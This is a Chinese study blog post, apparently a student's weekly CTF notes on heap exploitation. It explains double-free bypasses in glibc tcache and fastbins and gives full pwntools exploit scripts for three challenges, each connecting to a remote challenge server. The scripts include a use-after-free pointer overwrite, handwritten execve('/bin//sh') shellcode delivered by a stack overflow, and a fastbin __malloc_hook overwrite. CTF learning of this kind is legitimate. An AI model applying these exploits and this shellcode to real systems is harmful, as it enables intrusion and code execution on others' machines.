24-03-18

本周学习总结

堆 堆

堆 堆 堆

堆 堆 堆 堆

堆 堆 堆 堆 堆

全局常量声明:新手上路,文章内容仅是由教程观点和自己总结获得,仅供参考。

一、double free

double free是一种常见的堆攻击办法,通过重复释放同一堆块来修改其fd和bk指针来实现地址任意写。

但是同时glibc也对double free做了预防,但是仍然存在绕过的办法。

这里为了简单粗暴的展示这种有效的攻击手段,直接说明绕过的操作方法。

对于tcachebins:

前提是需要一个uaf漏洞或者堆溢出漏洞,通过修改堆块的bk指针,只要bk指针不是指向堆基地址+0x10的位置,程序就不会报double free。

对于fastbins:

前提是需要uaf漏洞,先是否堆块A,然后再释放堆块B,然后再释放堆块A,这样堆块A就被double free了。

二、[Easy]–like_it

Check!

开启NX和canary。

ida分析如下:

main:

def:

add_note:

del_note:

print_note:

Magic:

函数def中看似有一个陌生的输入检查,但是实际上并没有什么卵用,只要程序不进入调试状态,那么无论输入什么都可以通过检查。

在add_note函数中系统会先申请0x10字节,前0x8用来存一个puts的地址,后0x8字节用来存用户数据的堆地址。

在del_note中存在uaf。我们可以先申请2个0x30大小的chunk,这样就有了2个0x10大小的堆和2个0x30大小的堆,然后释放这两个用户申请的0x30大小堆块,0x10大小的堆块也会一起被释放,然后在申请1个0x10大小的堆块,在这个堆块里面写入magic的地址,然后print_note得到flag。

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
from pwn import *

def stre(a):
return str(a).encode()

def ph(a, b="addr"):
print(b + ":" + hex(a))

def re(a):
return p.recv(a)

def pre(a):
print(p.recv(a))

def reu(a, b=False):
return p.recvuntil(a, drop=b)

def rel():
return p.recvline()

def se(a):
p.send(a)

def sea(a, b):
p.sendafter(a, b)

def sel(a):
p.sendline(a)

def sela(a, b):
p.sendlineafter(a, b)

def op():
p.interactive()

def raddr64():
return u64(p.recv(6).ljust(8, b'\x00'))

def raddr32():
return u32(p.recv(4))

def gdbp(p, a=''):
if a != '':
gdb.attach(p, a)
pause()
else:
gdb.attach(p)
pause()

def gret(elf):
rop = ROP(elf)
rop_ret = rop.find_gadget(["ret"]).address
return rop_ret

# context.log_level = 'debug'
# context.arch = 'amd64'
# context.os = 'linux'
p = remote("120.46.59.242", 2111)
# p = process("./pwn")
# elf = ELF("./pwn")

def add(size, content):
sea(b"choice :", stre(1))
sea(b"size :", stre(size))
sea(b"Content :", content)

def dele(index):
sea(b"choice :", stre(2))
sea(b"Index :", stre(index))

def show(index):
sea(b"choice :", stre(3))
sea(b"Index :", stre(index))

sea(b"like?", b"6")

add(0x30, b"A" * 24)
add(0x30, b"B" * 24)
dele(0)
dele(1)
# 后进先出

add(0x10, p64(0x400CB1))
show(0)
op()

Flag:

三、[Easy]–shellcode1

Check!

无保护。

ida分析:

Main:

Init:

Input:

x的位置:

gets溢出,x可写可执行,构造shellcode+溢出跳转就秒了。

但是我心血来潮,想试一下手写32位程序的shellcod,不过好像一下子写起来还真不会。

学习一会儿后解决了问题。

Exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
from pwn import *

def stre(a):
return str(a).encode()

def ph(a, b="addr"):
print(b + ":" + hex(a))

def re(a):
return p.recv(a)

def pre(a):
print(p.recv(a))

def reu(a, b=False):
return p.recvuntil(a, drop=b)

def rel():
return p.recvline()

def se(a):
p.send(a)

def sea(a, b):
p.sendafter(a, b)

def sel(a):
p.sendline(a)

def sela(a, b):
p.sendlineafter(a, b)

def op():
p.interactive()

def raddr64():
return u64(p.recv(6).ljust(8, b'\x00'))

def raddr32():
return u32(p.recv(4))

def gdbp(p, a=''):
if a != '':
gdb.attach(p, a)
pause()
else:
gdb.attach(p)
pause()

def gret(elf):
rop = ROP(elf)
rop_ret = rop.find_gadget(["ret"]).address
return rop_ret

# context.log_level = 'debug'
# context.arch = 'amd64'
# context.os = 'linux'
p = remote("120.46.59.242", 2133)
# p = process("./pwn")
# elf = ELF("./pwn")

bss_addr = 0x804A080

payload = asm('''
push 0x68
push 0x732f2f2f
push 0x6e69622f
mov ebx, esp
xor ecx, ecx
xor edx, edx
mov eax, 0xB
int 0x80
''')

sea(b"name?\n", payload)

sela(b"me:\n", b"A" * (0x6C + 0x4) + p32(bss_addr))
op()

Flag:

四、[Medium]–Emo_chunk

check!

只开启了NX和canary。

ida分析:

main:

init:

Add_Emo:

Edit_Emo:

Pri_Emo:

Del_Emo:

Shell:

Edit_Emo中有固定0x100大小的写入堆,Add_Emo中未对申请堆的大小做限制,可以通过堆溢出来修改堆块的fd和bk地址来实现地址任意写。

但是这个题目唯一的问题是采用了上古glibc-2.23-0ubuntu11.3_amd64,明显是没有tcachebins给我们用的。

因为没有tcachebins,我们可以直接申请0x240大小的堆块然后释放,因为申请堆块的时候不需要写,我们可以直接再次申请0x240大小的堆块,然后输出这个堆块,因为没有写入,堆块内容不变,我们就得到了一个main_arean附近的地址,通过这个地址我们可以获得libc基地址。

本来是想直接打got表,但是可能是libc版本的问题,这个版本对地址保护格外严格,got表是不可修改的。

我们现在只能打__malloc_hook。但是由于没有tcachebins可用,我们只能用fastbins,但是fastbins对申请的堆块大小检查非常麻烦,没办法慢慢调吧:

经过不断的手动爆破,也是找到了合适的地址。

通过修改fd地址到这里,然后添加合适的偏移将shell的地址写入__malloc_hook的地址,再次申请任意堆块就可以获得shell。

Exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
from pwn import *

def stre(a):
return str(a).encode()

def ph(a, b="addr"):
print(b + ":" + hex(a))

def re(a):
return p.recv(a)

def pre(a):
print(p.recv(a))

def reu(a, b=False):
return p.recvuntil(a, drop=b)

def rel():
return p.recvline()

def se(a):
p.send(a)

def sea(a, b):
p.sendafter(a, b)

def sel(a):
p.sendline(a)

def sela(a, b):
p.sendlineafter(a, b)

def op():
p.interactive()

def raddr64():
return u64(p.recv(6).ljust(8, b'\x00'))

def raddr32():
return u32(p.recv(4))

def gdbp(p, a=''):
if a != '':
gdb.attach(p, a)
pause()
else:
gdb.attach(p)
pause()

def gret(elf):
rop = ROP(elf)
rop_ret = rop.find_gadget(["ret"]).address
return rop_ret

# context.log_level = 'debug'
# context.arch = 'amd64'
# context.os = 'linux'
p = remote("120.46.59.242", 2081)
# p = process("./Emo")
# elf = ELF("./pwn")

def add(size):
sela(b"Choice!\n", stre(1))
sela(b"Size:\n", stre(size))

def dele(index):
sela(b"Choice!\n", stre(2))
sela(b"index:\n", stre(index))

def edit(index, content):
sela(b"Choice!\n", stre(3))
sela(b"index:\n", stre(index))
sea(b"Content\n", content)

def show(index):
sela(b"Choice!\n", stre(4))
sela(b"index:\n", stre(index))

add(0x240)
add(0x30)
dele(0)
add(0x240)
show(0)

malloc_hook = raddr64() - 0x68
ph(malloc_hook, "malloc_hook")

libc_base = malloc_hook - 0x3c4b10
ph(libc_base, "libc_base")

sys_addr = libc_base + 0x0453a0
free_hook = libc_base + 0x3c67a8

dele(0)
dele(1)
add(0x60)
add(0x60)
dele(1)
dele(0)
add(0x60)
edit(0, b"A" * 0x68 + p64(0x71) + p64(malloc_hook - 0x1b - 0x8))
add(0x60)
add(0x60)
edit(2, b"A" * 0x13 + p64(0x400946))

sela(b"Choice!\n", stre(1))
sela(b"Size:\n", stre(0x30))
op()

Flag:

横跨四个月的合照:

下周学习计划

| 应该要做的事情 |

堆の进阶

学习感受

1
2
3
4
5
6
7
8
push 0x68
push 0x732f2f2f
push 0x6e69622f
mov ebx, esp
xor ecx, ecx
xor edx, edx
mov eax, 0xB
int 0x80

24-03-18
https://zlsf-zl.github.io/2024/03/18/3-18-3-24/
作者
ZLSF
发布于
2024年3月18日
许可协议